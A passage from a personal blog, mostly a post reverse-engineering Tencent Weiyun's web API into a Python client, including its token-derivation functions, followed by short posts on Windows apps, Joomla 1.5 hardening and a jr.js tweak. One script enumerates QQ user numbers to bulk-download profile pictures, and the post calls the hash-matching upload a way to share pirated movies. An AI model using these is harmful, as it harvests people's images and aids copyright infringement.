                    "req_body":{}}
        self.data["req_header"]["cmd"] = cmd

    def get_response(self):
        url = self.base + self.endpoint
        payload = self.get_payload()
        r = requests.get(url, cookies=COOKIES, params=payload, headers=HEADERS)
        response = r.text\
            .replace('try{'+get_ordered_tuple(payload,"callback")+'(', '')\
            .replace(')} catch(e){};', '')\
            .replace(')}catch(e){};', '');
        return json.loads(response)

    def get_payload(self, isPost=False):
        ruuid = str(uuid.uuid4()).upper().replace('-', '_')
        prefix = 'post_callback' if isPost else 'get'
        payload = (('cmd', self.cmd),
            ('g_tk', GTK),
            ('callback', prefix+'_'+ruuid),
            ('data', json.dumps(self.data)),
            ('_', str(current_milli_time())))
        return payload;

The first request we’re going to implement is the “query user” command. After logging in the web app, this is the first request which will be executed to fetch some basic user info and stats:

class QueryUser(BaseWeiyun):
    def __init__(self):
        endpoint = '/wy_web_jsonp.fcg'
        cmd = 'query_user'
        super(QueryUser, self).__init__(endpoint, cmd)

Based on this, we’re ready to try out our class. Add the following snippet at the end:

req = QueryUser()
print jsonprint(req.get_response())

Executing this will yield something like the following if all goes well (if not, check whether you’ve set all constant values correctly):

{
  "rsp_body": {
    "IsFavoritesUser": 0,
    "MaxBatchCopyFileCnt": "10",
    "MaxBatchCopyFileToOffineCnt": "10",
    "MaxBatchCopyFileToOtherbidCnt": "10",
    "MaxBatchDeleteFileCnt": "50",
    "MaxBatchDeleteFolderCnt": "10",
    "MaxBatchDownloadFileCnt": "50",
    "MaxBatchMoveFileCnt": "50",
    "MaxBatchMoveFolderCnt": "10",
    "MaxBatchRestoreFileCnt": "10",
    "MaxBatchRestoreFolderCnt": "10",
    "MaxFileAndFolderCnt": "200000",
    "bat_del_limit": 0,
    "bat_move_limit": 0,
    "bat_sel_btn_flag": 0,
    "bat_share_limit": 0,
    "checksum": "1750865379",
    "dir_count": 16,
    "dir_level_max": 25,
    "file_count": 938,
    "filename_max_len": 128,
    "filepath_max_len": 1024,
    "get_timestamp_interval": 0,
    "getlist_timestamp_flag": 1,
    "is_new_user": 0,
    "isset_passwd": 0,
    "isset_pwd_qqdisk": 0,
    "main_dir_key": "56e73eb0f0a739ae12b58dcd423dce4a",
    "main_dir_name": "\u00e5\u00be\u00ae\u00e4\u00ba\u0091",
    "main_key": "56e73eb0f0a739ae12b58dcd423dce4a",
    "max_batch_dirs": 5,
    "max_cur_dir_file": 954,
    "max_dir_file": 65535,
    "max_dl_tasks": 5,
    "max_dts": 100000,
    "max_fz": "2147483647",
    "max_indexs_per_dir": 3000,
    "max_interval_getlist": 1,
    "max_note_len": 255,
    "max_retry": 3,
    "max_retry_interval": 0,
    "max_single_file_size": "1048576",
    "max_tasks": 10,
    "max_thread_getlist": 3,
    "max_ul_tasks": 10,
    "mobile_accelerate_flag": false,
    "nickname": "Seppe",
    "pic_key": "56e73eb05984f9d6596c42937efab583",
    "ps_move_count": 0,
    "ps_move_flag": true,
    "qdisk_psw": "",
    "qqdisk_firstaccess_flag": 0,
    "qqdisk_user_flag": 0,
    "root_key": "56e73eb0f338fdcb41c5dfa52b9ed888",
    "server_time": "1420220537307",
    "show_whirlwind_space_flag": 0,
    "stat_flag": false,
    "stat_interval": 0,
    "total_space": "12094627905536",
    "used_space": "3443007169",
    "user_authed": 1,
    "user_ctime": "2014-04-05 20:49:30 319",
    "user_mtime": "2015-01-02 21:17:17 067",
    "user_type": 2,
    "user_wright": 7,
    "vip_level": 0,
    "weixin_collect_flag": 0,
    "weiyun_mobile": 0
  },
  "rsp_header": {
    "cmd": "query_user",
    "msg_seq": 1,
    "ret": 0,
    "uin": 2956912470
  }
}

I love this example because it already shows how many limitations and extra flags there are in place. MaxFileAndFolderCnt, dir_level_max, filename_max_len, max_dir_file, vip_level? Interesting, and all a sign that it might not be easy to fill up this 20TB even if you’d try.

The next class implements the “root dir list” command:

class RootDirList(BaseWeiyun):
    def __init__(self):
        endpoint = '/weiyun_web_root_dir_list_cgi.fcg'
        cmd = 'root_dir_list'
        super(RootDirList, self).__init__(endpoint, cmd)

Test this out by the following snippet (remove the earlier one):

req = RootDirList()
print jsonprint(req.get_response())

This returns a list of folders and files in the root directory:

{
  "rsp_body": {
    "dirs": [
      {
        "dir_ctime": "2014-12-29 21:54:49 374",
        "dir_key": "56e73eb054570c238a6a15604df9e583",
        "dir_mtime": "2014-12-29 22:00:55 231",
        "dir_name": "Music",
        "dir_note": ""
      }, [...]
    ],
    "files": [
      {
        "file_ctime": "2015-01-02 20:30:03 000",
        "file_cur_size": "148863",
        "file_id": "d5574da1-7454-4669-93c1-745a040b482c",
        "file_md5": "d7c2857279c7b77f1377d4a20e986b90",
        "file_mtime": "2015-01-02 20:30:03 000",
        "file_name": "Amazon2015-1-2 20.30.3.pdf",
        "file_note": "",
        "file_sha": "3970740694f57896fec1cb1a72dbed989b82f911",
        "file_size": "148863",
        "file_ver": "1420201803",
        "source": ""
      }, [...]
    ]
  },
  "rsp_header": {
    "cmd": "root_dir_list",
    "ret": 0
  }
}

Interestingly, we see that folders are characterized by an MD5-looking key, whereas files have a UUID-looking identifier, as well as MD5 and SHA1 hashes.

The next command retrieves a similar listing, but for any directory:

class GetDirList(BaseWeiyun):
    def __init__(self, dirkey, parentdirkey):
        endpoint = '/wy_web_jsonp.fcg'
        cmd = 'get_dir_list'
        super(GetDirList, self).__init__(endpoint, cmd)
        self.data["req_body"] = {
                "pdir_key":parentdirkey,
                "dir_key":dirkey,
                "dir_mtime":"2000-01-01 01:01:01",
                "only_dir":0}

Note that this command does not only require the folder key you wish to retrieve the listing for, but also its parent. Another strange aspect is the fact that we need to provide a dir_mtime parameter (perhaps it was planned to use this as an extra time based filter?). Let’s try this out with the “Music” directory as given above with key 56e73eb054570c238a6a15604df9e583. To retrieve the key of the parent directory (the root directory, in this case), we can look at the output of the “query user” command, which shows some promising candidates:

"root_key": "56e73eb0f338fdcb41c5dfa52b9ed888",
"main_dir_key": "56e73eb0f0a739ae12b58dcd423dce4a",
"main_dir_name": "\u00e5\u00be\u00ae\u00e4\u00ba\u0091",
"main_key": "56e73eb0f0a739ae12b58dcd423dce4a",

I’ll spoil the answer and tell right away that the main_dir_key is the one we need:

req = GetDirList(
            '56e73eb054570c238a6a15604df9e583',
            '56e73eb0f0a739ae12b58dcd423dce4a')
print jsonprint(req.get_response())

Gives:

{
  "rsp_body": {
    "dir_mtime": "2014-12-29 22:00:55 231",
    "dirs": [
      {
        "dir_attr": {
          "dir_name": "(A) in Mono"
        },
        "dir_attr_bit": "0",
        "dir_ctime": "2014-12-29 22:00:33 527",
        "dir_is_shared": 0,
        "dir_key": "56e73eb067d21cb7c7ea0eec0bc21aa1",
        "dir_mtime": "2014-12-31 23:41:22 663"
      }
    ],
    "files": null
  },
  "rsp_header": {
    "cmd": "get_dir_list",
    "msg_seq": 1,
    "ret": 0,
    "uin": 2956912470
  }
}

You might think that this explains the reason why there exists separate commands for listing the main directory (as this one has no parent, right?) and other directories. Confusingly, this is not the case. Your main dir’s parent has another parent: the root directory given by:

"root_key": "56e73eb0f338fdcb41c5dfa52b9ed888",

You can test this out with:

req = GetDirList('56e73eb0f0a739ae12b58dcd423dce4a',
            '56e73eb0f338fdcb41c5dfa52b9ed888')
print jsonprint(req.get_response())

Which works. Fun tip: you might have noticed that there is a pattern occurring for the folder keys. At this point, you might be wondering if this special root directory is a global one (with all users’ main directories under this one) and whether it is possible to access other user’s contents (i.e. whether the server-side checks your credentials). I tested this by setting up a second QQ account, and no, this attack does not work.

Next, we’ll implement a class to create directories:

class DirCreate(BaseWeiyun):
    def __init__(self, dirname, parentdirkey, parentparentdirkey):
        endpoint = '/wy_web_jsonp.fcg'
        cmd = 'dir_create'
        super(DirCreate, self).__init__(endpoint, cmd)
        self.data["req_body"] = {
            "ppdir_key": parentparentdirkey,
            "pdir_key": parentdirkey,
            "dir_attr": {"dir_name":dirname, "dir_note":""}}

    def get_response(self):
        url = self.base + self.endpoint
        payload = self.get_payload(True)
        r = requests.post(url, cookies=COOKIES, params=payload, data=payload, headers=HEADERS)
        response = r.text\
            .replace('<script>document.domain="weiyun.com";'+\
                'try{parent.'+get_ordered_tuple(payload,"callback")+'(', '')\
            .replace(')} catch(e){};</script>', '');
        return json.loads(response)

Note that this class executes a POST request. The JSONP responses look a bit different, which is why we extend the get_response function.

Next up, classes to remove files and folders, which work in a similar manner but accept a list of names and keys:

class BatchFolderDelete(BaseWeiyun):
    def __init__(self, dirnames, dirkeys, parentdirkeys, parentparentdirkeys):
        endpoint = '/wy_web_jsonp.fcg'
        cmd = 'batch_folder_delete'
        super(BatchFolderDelete, self).__init__(endpoint, cmd)
        dellist = []
        for i in range(0, len(dirnames)):
            dellist.append({"ppdir_key":parentparentdirkeys[i],
                            "pdir_key":parentdirkeys[i],
                            "dir_key":dirkeys[i],
                            "flag":1,
                            "dir_name":dirnames[i]})
        self.data["req_body"] = {"del_folders": dellist}

    def get_response(self):
        url = self.base + self.endpoint
        payload = self.get_payload(True)
        r = requests.post(url, cookies=COOKIES, params=payload, data=payload, headers=HEADERS)
        response = r.text\
            .replace('<script>document.domain="weiyun.com";'+\
                'try{parent.'+get_ordered_tuple(payload,"callback")+'(', '')\
            .replace(')} catch(e){};</script>', '');
        return json.loads(response)

class BatchFileDelete(BaseWeiyun):
    def __init__(self, fileids, filenames, filevers, parentdirkeys, parentparentdirkeys):
        endpoint = '/wy_web_jsonp.fcg'
        cmd = 'batch_file_delete'
        super(BatchFileDelete, self).__init__(endpoint, cmd)
        dellist = []
        for i in range(0, len(fileids)):
            dellist.append({"ppdir_key":parentparentdirkeys[i],
                            "pdir_key":parentdirkeys[i],
                            "file_id":fileids[i],
                            "file_name":filenames[i],
                            "file_ver":filevers[i]})
        self.data["req_body"] = {"del_files": dellist}

    def get_response(self):
        url = self.base + self.endpoint
        payload = self.get_payload(True)
        r = requests.post(url, cookies=COOKIES, params=payload, data=payload, headers=HEADERS)
        response = r.text\
            .replace('<script>document.domain="weiyun.com";'+\
                'try{parent.'+get_ordered_tuple(payload,"callback")+'(', '')\
            .replace(')} catch(e){};</script>', '');
        return json.loads(response)

Next up is a big class in order to download files:

class DownloadFile(BaseWeiyun):
    def __init__(self, fileid, filename, parentdirkey, checksum):
        endpoint = '/wy_down.fcg'
        cmd = None
        super(DownloadFile, self).__init__(endpoint, cmd)
        self.base = 'http://download.cgi.weiyun.com'
        self.data = None
        self.fileid = fileid
        self.filename = filename
        self.parentdirkey = parentdirkey
        self.checksum = checksum

    def get_response(self, stream=True):
        url = self.base + self.endpoint
        payload = self.get_payload()
        headers = HEADERS.copy()
        headers['origin'] = 'http://www.weiyun.com'
        r = requests.post(url, cookies=COOKIES, params=payload, headers=headers, stream=stream)
        return r

    def callback(self, ds, sofar, total):
        w = 80
        sys.stdout.write( "\b" * (w+10) )
        speed = ds / ((current_milli_time() - self.tb)/1000)
        sys.stdout.write( "[%s%s] %s" %
            ("#" * (int(w * float(sofar) / float(total))),
             " " * (w-(int(w * float(sofar) / float(total)))),
             speed) )

    def get_file(self, filename, stream=True, callback=None):
        if callback is None:
            callback = self.callback
        a = self.get_response()
        self.tb = current_milli_time()-1000
        if stream:
            total = 0
            with open(filename, 'wb') as fd:
                ds = 1024*100
                for chunk in a.iter_content(ds):
                    total += len(chunk)
                    fd.write(chunk)
                    callback(ds, total, str(a.headers['content-length']))
            print
            a.close()
        else:
            with open(filename, 'wb') as fd:
                fd.write(a.content)
                fd.close()

    def get_payload(self):
        payload = (('fid', self.fileid),
                    ('pdir', self.parentdirkey),
                    ('fn', self.filename),
                    ('uuin', UIN),
                    ('skey', SKEY),
                    ('appid', REQ_HEADER["appid"]),
                    ('token', TOKEN),
                    ('checksum', self.checksum),
                    ('err_callback', 'http://www.weiyun.com/web/callback/iframe_disk_down_fail.html'),
                    ('ver', REQ_HEADER["main_v"]))
        return payload

Note that this endpoint requires crafting a payload which looks different than before. If the request succeeds, the server will respond with a 302 (Moved Temporarily) status code which requests will follow through to start downloading the file.

We can test it out as follows:

req = DownloadFile("0c72132f-4718-4da9-b735-bf17ce524a30",
    "Amazon.pdf",
    "56e73eb0f0a739ae12b58dcd423dce4a",
    "1750865379")
req.get_file('c:/users/n11093/desktop/download.pdf')

Uploading files also requires some custom code:

class FileUpload(BaseWeiyun):
    def __init__(self, filename, filesize, parentdirkey, parentparentdirkey, md5="", sha=""):
        endpoint = '/upload.fcg'
        cmd = 'file_upload'
        super(FileUpload, self).__init__(endpoint, cmd)
        utype = 1 if md5 == "" else 0
        self.data["req_body"] = {"ppdir_key":parentparentdirkey,
                "pdir_key":parentdirkey,
                "upload_type": utype,
                "file_md5":md5,
                "file_sha":sha,
                "file_size":str(filesize),
                "file_attr":{"file_name":filename}}
        self.parentdirkey = parentdirkey
        self.parentparentdirkey = parentparentdirkey

    def send_file(self, filename):
        a = self.get_response()
        print a
        if (a['rsp_body']['file_exist']):
            return True
        elif self.data["req_body"]["upload_type"] == 0:
            # Delete the broken file first, this is a side effect of trying with hashes first
            o = BatchFileDelete(
                [a['rsp_body']['file_id']],
                [self.data["req_body"]["file_attr"]["file_name"]],
                [a['rsp_body']['file_ver']],
                [self.parentdirkey],
                [self.parentparentdirkey])
            oo = o.get_response()
            req = FileUpload(self.data["req_body"]["file_attr"]["file_name"],
                self.data["req_body"]["file_size"],
                self.parentdirkey,
                self.parentparentdirkey)
            return req.send_file(filename)
        elif self.data["req_body"]["upload_type"] == 1:
            url = 'http://' + a['rsp_body']['upload_svr_host']+':'+\
                str(a['rsp_body']['upload_svr_port']) + '/ftn_handler/'+\
                '?ver=12345&ukey='+a['rsp_body']['upload_csum']+\
                '&filekey='+a['rsp_body']['file_key']+'&'
            headers = HEADERS.copy()
            headers['origin'] = 'http://www.weiyun.com'
            data = {'Filename': self.data["req_body"]["file_attr"]["file_name"],
                    'mode': 'flashupload',
                    'file': ('filename', open(filename, 'rb'), 'application/octet-stream'),
                    'Upload': 'Submit Query'}
            r = requests.post(url, headers=headers, files={'file':data['file']})
            return r

This class is interesting because we are making two requests here. First, we send of a request with an optionally given MD5 and SHA1 hash. If hashes are provided, the server can respond that the file exists and we can stop there. Even if the current user does not yet have the file in question, the hash matching is performed for every file on the system. If the file is not found (or not hashes are provided), the server will provide a location to which we can upload the file by a following POST (strangely enough, uploading with requests streaming behavior does not seem to work right, as the server closes the connection prematurely).

Note that we need to resend our request in case we try with hashes first and the file was not found. The new request will have no hashes and the upload type set to 1 (we do so by deleting the temporary broken file and calling a new FileUpload instance without hashes). The reasons for this is because the hashing functionality is provided by the browser plugin; when the file does not yet exist, the browser plugin will handle the uploading, which we cannot emulate here, therefore, we recreate the request to look like a normal, pure-browser one after which we can proceed to upload the file… This has some limitations in terms of maximum allowed size, however.

Trying this with an Ubuntu ISO file:

file = 'C:/users/n11093/Downloads/ubuntu-14.04.1-desktop-amd64.iso'
filename = 'ubuntu-14.04.1-desktop-amd64.iso'
hmd5 = md5(file)
hsha1 = sha1(file)
filesize = file_size(file)
req = FileUpload(
    filename, filesize,
    '56e73eb0f0a739ae12b58dcd423dce4a', '56e73eb0f338fdcb41c5dfa52b9ed888',
    hmd5, hsha1)
print req.send_file('c:/users/n11093/desktop/download.pdf')

Yields True, i.e. the file existed already and was added to your drive. This makes for a very fun way to instantly share files, pirated movies, etc. with others…

Trying this with a non-existent file (and/or without providing hashes):

file = 'C:/users/n11093/Desktop/unique.txt'
filename = 'unique.txt'
filesize = file_size(file)
req = FileUpload(
    filename, filesize,
    '56e73eb0f0a739ae12b58dcd423dce4a', '56e73eb0f338fdcb41c5dfa52b9ed888')
print req.send_file('c:/users/n11093/desktop/download.pdf')

Will provide a 200 status code. Note that this’ll only work for smaller files. Uploading with larger files seems to perform multiple POSTs (the Windows client does so as well), which apply a custom-made encryption scheme which I did not reverse engineer — but continue to read on below…

Tokens

If you recall the following lines:

TOKEN = 'changeme'
GTK = 'changeme'

You might recall that these are sent with every request, and do not change during the lifetime of the session. Since requests are made client-side (i.e. initiated by Javascript), we could try to see if we can derive where they are coming from.

We can easily conjure up the call trace from Chrome when making a request:

This indicates that our point of interest might be in common.index.js or in main.index.js. Indeed, in the former, we find a line:

token:security.getAntiCSRFToken()

Which refers to:

security=lib.get('./security'),

Which we then find in lib.index.js:

function _getAntiCSRFToken(objConfig){
    objConfig=objConfig||{};
    var salt=objConfig.salt||CONST_SALT;
    var skey=objConfig.skey||cookie.get("skey");
    var md5key=objConfig.md5key||CONST_MD5_KEY;
    var hash=[],ASCIICode;
    hash.push((salt<<5));
    for(var i=0,len=skey.length;i<len;++i){
        ASCIICode=skey.charAt(i).charCodeAt();
        hash.push((salt<<5)+ASCIICode);
        salt=ASCIICode;
    }
    var md5str=_md5(hash.join('')+md5key);
    return md5str;
}

We can find a similar function for the g_tk parameter. Re-implementing these in Python is easy:

def get_token(skey, md5key='tencentQQVIP123443safde&!%^%1282', salt=5381):
    thash = []
    num = salt<<5
    thash.append(str(num))
    for i in range(0, len(skey)):
        ac = ord(skey[i])
        num = (salt<<5)+ac
        thash.append(str(num))
        salt = ac
    return hashlib.md5(''.join(thash)+md5key).hexdigest()
def get_tk(skey, salt=5381):
    for i in range(0, len(skey)):
        ac = ord(skey[i])
        salt += (salt<<5)+ac
    return salt&0x7fffffff;

And change:

TOKEN = get_token(SKEY)
GTK = get_tk(SKEY)

Again, a lovely display of custom-rolled security functions. I wonder how developer team meetings at Tencent would go.

Download

I’ve put all my code up on GitHub, in case you’re interested. I’ll probably not maintain this for long, but feel free to fork or submit pull requests. The license is permissive (MIT), and I’d love to hear if this ends up being useful in some way. I can be reached at macuyiko@gmail.com (æˆ‘ä¹Ÿæ˜Žç™½ä¸€ç‚¹ä¸æ–‡).

Addendum: Tencent’s Encrypted Chunked Upload Mechanism

At the time of writing up this post (which took a few days), I noticed that the upload mechanism over at the English version of Weiyuns app became increasingly flaky. At first, I thought this was an issue with my code, but uploading through the site itself also seems to be failing (at least at this moment in time).

I took a look at the Chinese version to see if things were still working there, and it seems that indeed, it does. In addition, I’ve noticed that this version now relies on a Flash helper which performs uploads in the same manner as the Window client does (verified using Wireshark). First, a request is made to an API endpoint (http://user.weiyun.com/newcgi/qdisk_upload.fcg) to get a location to upload to (similar as before). Next however, a series of POST requests is made which seem to upload chunks of the file to be uploaded with some magic header stuck in the front.

To figure out how this works, we decompile http://img.weiyun.com/club/qqdisk/web/FileUploader.swf and have a look. In there, we find the function we’re looking for:

public function byteupload(data:String, offset:int):void{
    var ctx:MD5Context = new MD5Context();
    MD5Inc.update(ctx, Base64.decode(data));
    var _md5:String = MD5Inc.result(ctx);
    var up_url:String = (((((((this.protocol + this.server) + ":") + this.port) + "/ftn_handler/") + this.md5) + "?bmd5=") + _md5);
    var ur:URLRequest = new URLRequest(up_url);
    ur.method = URLRequestMethod.POST;
    ur.contentType = "application/octet-stream";
    ur.data = new FTNUploadFileProtocol().getFTN_Bytes(this, data, offset);
    this.uper = new URLLoader();
    this.uper.addEventListener(Event.COMPLETE, this._completeHandler);
    this.uper.addEventListener(IOErrorEvent.IO_ERROR, this._errorHandler);
    this.uper.addEventListener(ProgressEvent.PROGRESS, this._progressHandler);
    this.uper.addEventListener(SecurityErrorEvent.SECURITY_ERROR, this._securityerrorHandler);
    this.uper.addEventListener(HTTPStatusEvent.HTTP_STATUS, this._httpStatusHandler);
    this.uper.dataFormat = URLLoaderDataFormat.BINARY;
    this.uper.load(ur);
}

getFTN_Bytes defines the composition of each chunk:

public function getFTN_Bytes(file:FileByteArray, data:String, offset:int):ByteArray{
    var bytes:ByteArray = new ByteArray();
    bytes.writeInt(2882377846);
    bytes.writeInt(1000);
    bytes.writeInt(0);
    var tempUkey:ByteArray = this.Str2Bin(file.uKey);
    var tempFileKey:ByteArray = this.Str2Bin(file.fileKey);
    var tempData:ByteArray = Base64.decodeToByteArray(data);
    var len:int = (((((2 * 2) + (4 * 3)) + tempUkey.length) + tempFileKey.length) + tempData.length);
    bytes.writeInt(len);
    bytes.writeShort(tempUkey.length);
    bytes.writeBytes(tempUkey);
    bytes.writeShort(tempFileKey.length);
    bytes.writeBytes(tempFileKey);
    bytes.writeInt(file.size);
    bytes.writeInt(offset);
    bytes.writeInt(tempData.length);
    bytes.writeBytes(tempData);
    return (bytes);
}

Based on this, we can start implementing this in Python:

class ChunkedFileUpload(BaseWeiyun):
    def __init__(self, filename, filesize, parentdirkey, parentparentdirkey, fmd5, fsha):
        utype = 1 if fmd5 == "" else 0
        self.base = 'http://user.weiyun.com/newcgi'
        self.endpoint = '/qdisk_upload.fcg'
        self.cmd = '2301'
        self.data = {"req_header":{
                        "cmd":int(self.cmd),
                        "appid":30013,
                        "version":2,
                        "major_version":2},
                    "req_body":{
                        "ReqMsg_body":{
                            "weiyun.DiskFileUploadMsgReq_body":{
                                "ppdir_key":parentparentdirkey,
                                "pdir_key":parentdirkey,
                                "upload_type":utype,
                                "file_md5":fmd5,
                                "file_sha":fsha,
                                "file_size":filesize,
                                "filename":filename,
                                "file_exist_option":4}}}}
        self.parentdirkey = parentdirkey
        self.parentparentdirkey = parentparentdirkey

    def get_response(self):
        url = self.base + self.endpoint
        payload = self.get_payload()
        headers = HEADERS.copy()
        headers['Referer'] = 'http://user.weiyun.com/cdr_proxy.html'
        r = requests.get(url, cookies=COOKIES, params=payload, headers=headers)
        response = r.text\
            .replace('try{X_GET(', '')\
            .replace(')}catch(e){};', '');
        return json.loads(response)

    def get_payload(self):
        payload = (('cmd', self.cmd),
            ('g_tk', GTK),
            ('data', json.dumps(self.data)),
            ('callback', 'X_GET'),
            ('_', str(current_milli_time())))
        return payload;

    def callback(self, send, total):
        print send, total

    def send_file(self, filename, callback=None):
        if callback is None:
            callback = self.callback
        a = self.get_response()
        rspbody = a['rsp_body']['RspMsg_body']['weiyun.DiskFileUploadMsgRsp_body']
        print rspbody
        if rspbody['file_exist'] and False:
            return True
        else:
            print ''
            url = 'http://' + rspbody['server_name']+':'+\
                str(rspbody['server_port']) + '/ftn_handler/'+\
                self.data['req_body']['ReqMsg_body']['weiyun.DiskFileUploadMsgReq_body']['file_md5']
            headers = HEADERS.copy()
            headers['origin'] = 'http://img.weiyun.com'
            length = 131072
            filekey = rspbody['file_key']
            ukey = rspbody['check_key']
            for start in range(0, file_size(filename), 131072):
                chunk = get_chunk(filename, start, length)
                encch = encode_chunk(ukey, filekey, filename, start, chunk)
                bmd5 = '?' # TODO: requires conversion of crypto
                print bmd5
                r = requests.post(url+ '?bmd5=' + bmd5, headers=headers, data = encch)
                if callback is not None:
                    callback(start + length, file_size(filename))

The line of interest here is:

bmd5 = '?' # TODO: requires conversion of crypto

Corresponding with the following lines in the Flash source:

var ctx:MD5Context = new MD5Context();
MD5Inc.update(ctx, Base64.decode(data));
var _md5:String = MD5Inc.result(ctx);

Sadly, the underlying classes (MD5Context and friends) in the decompiled Flash source correspond with a custom-made crypto library which is thousands of lines long. I don’t feel very inclined to convert these all at the moment, and SWF<->Anything interaction is a pipe dream (for “Anything” being anything else than Javascript, that is). The code of interest is on GitHub, so feel free to take a stab at it if willing. Note that doing so will eventually allow uploading files of arbitrary size.

Extra Fun: Getting User Profile Pictures

Whilst browsing to the request made by Chrome, I noticed a particular one to http://ptlogin2.weiyun.com/getface. This endpoint allows to get a user profile picture for any QQ number, without having to be logged in. This is not a security breach in itself (since these pictures are meant to be public avatars), but still fun to automate nonetheless, especially since pictures can be quite large in size:

import requests
import json
import os
import sys
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool

def get_face(uid, itype=5):
    payload = (
            ('appid', str(527020901)),
            ('imgtype', str(itype)),
            ('encrytype', '0'),
            ('devtype', '0'),
            ('keytpye', '0'),
            ('uin', str(uid)))
    r = requests.get(url='http://ptlogin2.weiyun.com/getface', params=payload)
    response = r.text\
            .replace('pt.setHeader(', '')\
            .replace(');', '');
    return json.loads(response)

def parse(i):
    url = get_face(i)[str(i)]
    if '&t=0' in url: return
    r = requests.get(url=url)
    if r.status_code == 200:
        with open('./images/'+str(i)+'.jpeg', 'wb') as f:
            f.write(r.content)
        print str(i),url

pool = ThreadPool(4)
start = 2756800000
length = 10000
uids = range(start, start+length)
results = pool.map(parse, uids)
pool.close()
pool.join()

I’d love to see a project combining computer vision with this and do some unsupervised clustering ;).

Notes

[1]: See for instance http://www.reuters.com/article/2014/12/29/google-china-idUSL3N0UD21W20141229 for a very recent example. Although to be clear, plain old censorship is the main driver behind such moves. Still, there is a bit of protectionism mixed in which can go quite far. A typical strategy applied for example is to allow access to Google Maps or Gmail for very brief periods, in order to instill the notion that Google is just offering sloppy services. Most netizens are smart enough not to fall for it, however.

[2]: I’ve noticed this myself when trying to find standard notation for terms which are generally accepted in English research literature, such as “recall and precision”. The New York times also has two great articles here (older) and here on the subject (the latter article is a great read and better expands on some points I’m making here). To quote:

“I know some foreign scientists are studying the rings of ancient trees to learn about the climate, for example, but I can’t find their work using Baidu,” Ms. Jin said. “When in China, I’m almost never able to access Google Scholar, so I’m left badly informed of the latest findings.”

[3]: I really like the hanzi 盘 to indicate a disk. The character is a pretty old-fashioned one to indicate a dish, plate, or even a washbasin. It is used in 硬盘 to indicate hard drive.

List Of Apps

2014-11-30T22:34:00+01:00

I’ve been reinstalling a lot of Windows machines lately (cleaning house and such), and just wanted to jot down a list of apps I’ll install before doing anything else. To get the base system running, so to speak, mostly as a reminder to my future self.

Web

Chrome

What: awesome browser from Google.
Where: http://www.google.com/chrome/
Don’t forget the Chrome Remote Desktop extension.

Dropbox

What: easy file sync and sharing.
Where: http://www.dropbox.com/

Google Drive

What: easy file sync and sharing.
Where: http://www.google.com/drive

Putty

What: SSH client.
Where: http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

FileZilla

What: FTP client.
Where: https://filezilla-project.org/download.php?type=client

Skype

What: instant messenger and voice caller.
Where: http://www.skype.com/en/

QQ

What: instant messenger.
Where: http://www.imqq.com/

Miniget

What: lightweight downloader.
Where: http://www.miniget001.com/

General

Microsoft Office

What: general purpose office suite.

Source Code Pro

What: great fonts for programming.
Where: https://github.com/adobe-fonts/source-code-pro

7-Zip

What: extract everything.
Where: http://www.7-zip.org/

Clink

What: makes the Windows command line ten times better.
Where: http://mridgers.github.io/clink/

CamStudio

What: easy free screen recording.
Where: http://camstudio.org/

Everything

What: locate files and folders by name instantly.
Where: http://www.voidtools.com/

Evince

What: lightweight PDF reader.
Where: https://wiki.gnome.org/Apps/Evince

f.lux

What: screen dimmer based on time of day to save your eyes.
Where: https://justgetflux.com/

Paint.NET

What: easy to use image editing.
Where: http://www.getpaint.net/

Start8

What: bring back the start menu in Windows 8.
Where: http://www.stardock.com/products/start8/

VirtualBox

What: virtualization tool.
Where: https://www.virtualbox.org/

Spotify

What: listen to music.
Where: https://www.spotify.com

VLC

What: watch all movie formats.
Where: http://www.videolan.org/vlc/index.html

Steam

What: play games.
Where: http://store.steampowered.com/

Data Science

Anaconda Python Distribution

What: ready to use Python for data science.
Where: https://store.continuum.io/cshop/anaconda/

Disco

What: process mining toolkit.
Where: http://fluxicon.com/disco/

GraphViz

What: graph drawing toolkit.
Where: http://www.graphviz.org/

R

What: programming language for statistics and data mining.
Where: http://cran.r-project.org/

RStudio

What: great IDE for R.
Where: http://www.rstudio.com/

Coding

IntelliJ IDEA

What: Java IDE, replacing Eclipse rapidly for me recently…
Where: https://www.jetbrains.com/idea/

JetBrains PyCharm

What: Python IDE
Where: https://www.jetbrains.com/pycharm/

Editing

LyX

What: LaTeX based document processor.
Where: http://www.lyx.org/
Includes MikTeX distro.

MarkdownPad 2

What: Markdown editor for Windows.
Where: http://markdownpad.com/

Sublime Text

What: beautiful text editor great for general coding.
Where to find: http://www.sublimetext.com/3
Get a color theme from here: https://github.com/chriskempson/base16

WinEdt

What: fast LaTeX editor.
Where: http://www.winedt.com/

Joomla 1.5 Security Fixes

2014-09-10T14:44:00+02:00

Although I now have moved on — for most part — from PHP, I am still maintaining a number of websites build on top of Joomla. Ever since Joomla 3.0 was released, Joomla 1.5 has reached end-of-life status, meaning that there will be no more updates nor security fixes for this version, thus settling the latest version at Joomla 1.5.26.

Since Joomla 1.5.26 is kind of a mess security-wise, all users are advices to upgrade to Joomla 2 or 3 as soon as possible. Easier said than done, since the sites I’m dealing with involve a number of highly customised themes and plugins, and I can not really permit to spend a week to updating and rebuilding all of them.

For those in the same boat (and mainly as a reminder to myself), I’m listing here two crucially important steps which you’ll want to do to make Joomla 1.5.26 installations a tad more secure.

First of all, completely remove the outdated, horrible TinyMCE editor, as this has been the culprit and root-cause behind many exploits out there in the wild. Perform the following steps to do this cleanly:

Go to the control panel in your Joomla admin portal and change the site-wide editor to “No editor”, or to another editor if you have one installed.
Deactivate TinyMCE under the plugin manager in your Joomla admin portal.
Remove all TinyMCE related files: plugins/editors/tinymce.php, plugins/editors/tinymce.xml and the directory plugins/editors/tinymce.

Second, download the unofficial security patch here. This patch fixes a vulnerability which allows for unauthorized file uploads.

These two steps should provide you with some time to work towards a long-term upgrade plan.

Small jr.js (Junior) Modification

2014-08-03T15:19:00+02:00

Just a small post. I’ve been using this project lately to set up some quick static-only-but-Markdown-enabled project pages for a while now.

Basically, it allows you to set up a static website with minimal theming, but with the content rendering offloaded to the browser (in Javascript) instead of relying on some script or program (such as I’m doing on this blog now with Pelican). It’s a refreshingly simple way to set up something quickly, but also avoiding html tag soup at the same time.

I’ve made a fork of the repository which I’ve uploaded here.

The reason for this is that an initial “page” looks like this:

[Please enable Javascript to render MarkDown]: <pre>
# My first Markdown page

Enter you Markdown code here...

<script src="js/jr.js"></script>

Which allows for a fallback in most browsers, but depending on how they render pre tags might look more or less nice. In addition, I kind of miss a simple html skeleton.

So after my minor modifications, I can write the above like this:

<!DOCTYPE html>
<html>
<head>
